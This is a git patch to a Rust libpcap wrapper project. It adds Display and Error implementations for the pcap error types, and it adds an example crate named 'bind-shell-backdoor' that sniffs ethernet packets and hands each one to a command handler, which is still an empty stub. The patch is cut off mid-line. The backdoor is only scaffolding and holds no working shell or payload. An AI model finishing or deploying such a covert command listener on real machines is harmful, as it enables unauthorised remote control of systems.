From e0c7e1c240aa139acb426967a130cff39d0452fa Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Fri, 28 Apr 2023 15:42:21 -0400 Subject: [PATCH] feat: added a pcap listener to parse commands --- Cargo.lock | 44 +++++++++++++++++ Cargo.toml | 2 +- examples/bind-shell-backdoor/Cargo.toml | 12 +++++ examples/bind-shell-backdoor/src/main.rs | 61 ++++++++++++++++++++++++ pcap-sys/src/error.rs | 32 ++++++++++++- 5 files changed, 149 insertions(+), 2 deletions(-) create mode 100644 examples/bind-shell-backdoor/Cargo.toml create mode 100644 examples/bind-shell-backdoor/src/main.rs diff --git a/Cargo.lock b/Cargo.lock index 1a9c78f..00f1c3e 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -2,12 +2,34 @@ # It is not intended for manual editing. version = 3 +[[package]] +name = "anyhow" +version = "1.0.70" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7de8ce5e0f9f8d88245311066a578d72b7af3e7088f32783804676302df237e4" + [[package]] name = "autocfg" version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" +[[package]] +name = "bind-shell-backdoor" +version = "0.1.0" +dependencies = [ + "anyhow", + "pcap-sys", + "tokio", + "tokio-stream", +] + +[[package]] +name = "bytes" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "89b2fd2a0dcf38d7971e2194b6b6eebab45ae01067456a7fd93d5547a61b70be" + [[package]] name = "cc" version = "1.0.79" @@ -232,6 +254,15 @@ dependencies = [ "proc-macro2", ] +[[package]] +name = "signal-hook-registry" +version = "1.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8229b473baa5980ac72ef434c4415e70c4b5e71b423043adb4ba059f89c99a1" +dependencies = [ + "libc", +] + [[package]] name = "slab" version = "0.4.8" @@ -269,10 +300,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c3c786bf8134e5a3a166db9b29ab8f48134739014a3eca7bc6bfa95d673b136f" dependencies = [ "autocfg", + "bytes", "libc", "mio", "num_cpus", "pin-project-lite", + "signal-hook-registry", "socket2", "tokio-macros", "windows-sys 0.48.0", @@ -289,6 +322,17 @@ dependencies = [ "syn", ] +[[package]] +name = "tokio-stream" +version = "0.1.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "397c988d37662c7dda6d2208364a706264bf3d6138b11d436cbac0ad38832842" +dependencies = [ + "futures-core", + "pin-project-lite", + "tokio", +] + [[package]] name = "unicode-ident" version = "1.0.8" diff --git a/Cargo.toml b/Cargo.toml index dbd203a..acf8f9f 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,5 +1,5 @@ [workspace] -members = ["pcap-sys"] +members = ["pcap-sys", "examples/bind-shell-backdoor"] [profile.release] strip = true diff --git a/examples/bind-shell-backdoor/Cargo.toml b/examples/bind-shell-backdoor/Cargo.toml new file mode 100644 index 0000000..4de163f --- /dev/null +++ b/examples/bind-shell-backdoor/Cargo.toml @@ -0,0 +1,12 @@ +[package] +name = "bind-shell-backdoor" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +tokio = { version = "1.21.2", features = ["net", "rt", "macros", "rt-multi-thread", "sync", "process"] } +pcap-sys = { path = "../../pcap-sys" } +anyhow = "1.0.70" +tokio-stream = "0.1.14" diff --git a/examples/bind-shell-backdoor/src/main.rs b/examples/bind-shell-backdoor/src/main.rs new file mode 100644 index 0000000..f4d8452 --- /dev/null +++ b/examples/bind-shell-backdoor/src/main.rs @@ -0,0 +1,61 @@ +use tokio::{self, sync::mpsc}; +use tokio_stream::StreamExt; +use pcap_sys::{self, packets::EthernetPacket}; +use anyhow::{anyhow, bail}; + +#[tokio::main] +async fn main() -> anyhow::Result<()> { + let mut interfaces = pcap_sys::PcapDevIterator::new()?; + + let interface_name = interfaces + .find(|eth| eth.starts_with("eth")) + .ok_or(anyhow!("Could not get an ethernet interface"))?; + + let mut interface = pcap_sys::Interface::::new(&interface_name)?; + + interface.set_buffer_size(8192)?; + interface.set_non_blocking(true)?; + interface.set_promisc(false)?; + interface.set_timeout(10)?; + + let interface = interface.activate()?; + + if interface.datalink() != pcap_sys::consts::DLT_EN10MB { + bail!("interface does not support ethernet") + } + + enum EventType { + Packet(Result), + Send(EthernetPacket) + } + + let mut packets = interface.stream()?; + let (packet_sender, mut packets_to_send) = mpsc::channel(64); + + while let Some(evt) = tokio::select! { + v = packets.next() => v.map(EventType::Packet), + v = packets_to_send.recv() => v.map(EventType::Send) + } { + match evt { + EventType::Packet(pkt) => { + if let Ok(pkt) = pkt { + tokio::spawn(handle_command(pkt, packet_sender.clone())); + } + } + EventType::Send(pkt) => { + packets.sendpacket(pkt.pkt())?; + } + } + } + + Ok(()) +} + +async fn handle_command( + command: EthernetPacket, + send_response: mpsc::Sender +) -> anyhow::Result<()> { + + + Ok(()) +} \ No newline at end of file diff --git a/pcap-sys/src/error.rs b/pcap-sys/src/error.rs index 973915a..b819fbc 100644 --- a/pcap-sys/src/error.rs +++ b/pcap-sys/src/error.rs @@ -16,7 +16,7 @@ use errno::Errno; use std::{ convert::From, - ffi::{self, CStr, CString}, + ffi::{self, CStr, CString}, fmt::Display, error, }; #[derive(Debug)] @@ -32,6 +32,36 @@ pub enum Error { pub type Result = std::result::Result; +impl Display for Error { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Error::PcapError(err) => { + if let Ok(err_str) = std::str::from_utf8(err.as_bytes()) { + return write!(f, "pcap error: {err_str}"); + } + + write!(f, "unknown pcap error") + }, + Error::StringParse => write!(f, "unable to parse a string from pcap"), + Error::UnknownPacketType(ptype) => write!(f, "unknown packet type ({ptype})"), + Error::PacketLengthInvalid => write!(f, "received a packet with a length that mismatched the header"), + Error::InvalidPcapFd => write!(f, "internal pcap file descriptor error"), + Error::Io(io) => write!(f, "std::io error ({io})"), + Error::Libc(err) => write!(f, "libc error ({err})"), + } + } +} + +impl error::Error for Error { + fn source(&self) -> Option<&(dyn error::Error + 'static)> { + match self { + Error::Io(err) => Some(err), + Error::Libc(err) => Some(err), + _ => None + } + } +} + impl From<&[i8; 256]> for Error { fn from(buf: &[i8; 256]) -> Error { match CString::new(